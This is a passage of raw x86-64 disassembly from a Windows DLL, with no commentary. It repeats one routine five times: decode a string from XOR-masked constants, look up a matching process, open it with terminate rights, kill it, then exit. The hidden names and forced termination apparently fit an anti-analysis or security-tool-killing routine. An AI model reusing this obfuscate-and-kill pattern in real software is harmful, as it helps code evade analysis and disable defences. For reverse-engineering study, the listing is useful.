movzx edx, byte [rbp + 0x220]
movabs r15, 0xebcefc470f09591e
mov qword [rsp + 0x38], r15
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180018e80
lea rax, [rsp + 0x30]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x180011490
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov ebx, eax
call fcn.180001da0
test ebx, ebx
je 0x180011a05
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], r15
lea rcx, [rbp + 0x390]
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
mov edx, 1
mov r8d, eax
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rbp + 0x390]
mov rbx, rax
call fcn.180001da0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movzx edx, byte [rbp + 0x220]
lea rcx, [rbp + 0x390]
movabs rdi, 0x3d1505121774c0cd
movabs r15, 0xebcefc470f09591e
mov qword [rsp + 0x30], rdi
movabs rsi, 0xf26697e731ab5bf
mov qword [rsp + 0x38], r15
movabs r14, 0xebcefc476a713c30
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180018e80
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800115c0
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov ebx, eax
call fcn.180001da0
test ebx, ebx
je 0x180011a05
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], r15
lea rcx, [rbp + 0x390]
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
mov edx, 1
mov r8d, eax
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rbp + 0x390]
mov rbx, rax
call fcn.180001da0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movzx edx, byte [rbp + 0x220]
lea rcx, [rbp + 0x390]
movabs rdi, 0x3d1505121774c0cd
movabs r15, 0xebcefc470f09591e
mov qword [rsp + 0x30], rdi
movabs rsi, 0xf26697e731ab5bf
mov qword [rsp + 0x38], r15
movabs r14, 0xebcefc476a713c30
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180018e80
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800116f0
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov ebx, eax
call fcn.180001da0
test ebx, ebx
je 0x180011a05
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], r15
lea rcx, [rbp + 0x390]
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
mov edx, 1
mov r8d, eax
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rbp + 0x390]
mov rbx, rax
call fcn.180001da0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movzx edx, byte [rbp + 0x220]
lea rcx, [rbp + 0x390]
movabs rdi, 0x3d1505121774c0cd
movabs r15, 0xebcefc470f09591e
mov qword [rsp + 0x30], rdi
movabs rsi, 0xf26697e731ab5bf
mov qword [rsp + 0x38], r15
movabs r14, 0xebcefc476a713c30
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180018e80
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x180011820
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov ebx, eax
call fcn.180001da0
test ebx, ebx
je 0x180011a05
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], r15
lea rcx, [rbp + 0x390]
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
mov edx, 1
mov r8d, eax
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rbp + 0x390]
mov rbx, rax
call fcn.180001da0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movzx edx, byte [rbp + 0x220]
lea rcx, [rbp + 0x390]
movabs rdi, 0x3d1505121774c0cd
movabs r15, 0xebcefc470f09591e
mov qword [rsp + 0x30], rdi
movabs rsi, 0xf26697e731ab5bf
mov qword [rsp + 0x38], r15
movabs r14, 0xebcefc476a713c30
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180018e80
lea rax, [rsp + 0x30]
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x180011950
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x390]
call fcn.1800024b0
lea rcx, [rbp + 0x390]
call fcn.180006480
lea rcx, [rbp + 0x390]
mov ebx, eax
call fcn.180001da0
test ebx, ebx
je 0x180011a05
mov qword [rsp + 0x30], rdi
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x38], r15
lea rcx, [rbp + 0x390]
movaps xmm0, xmmword [rsp + 0x30]
mov qword [rbp + 0x370], rsi
mov qword [rbp + 0x378], r14
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180014120
lea rcx, [rbp + 0x390]
call fcn.180006480
mov edx, 1
mov r8d, eax
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rbp + 0x390]
mov rbx, rax
call fcn.180001da0
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3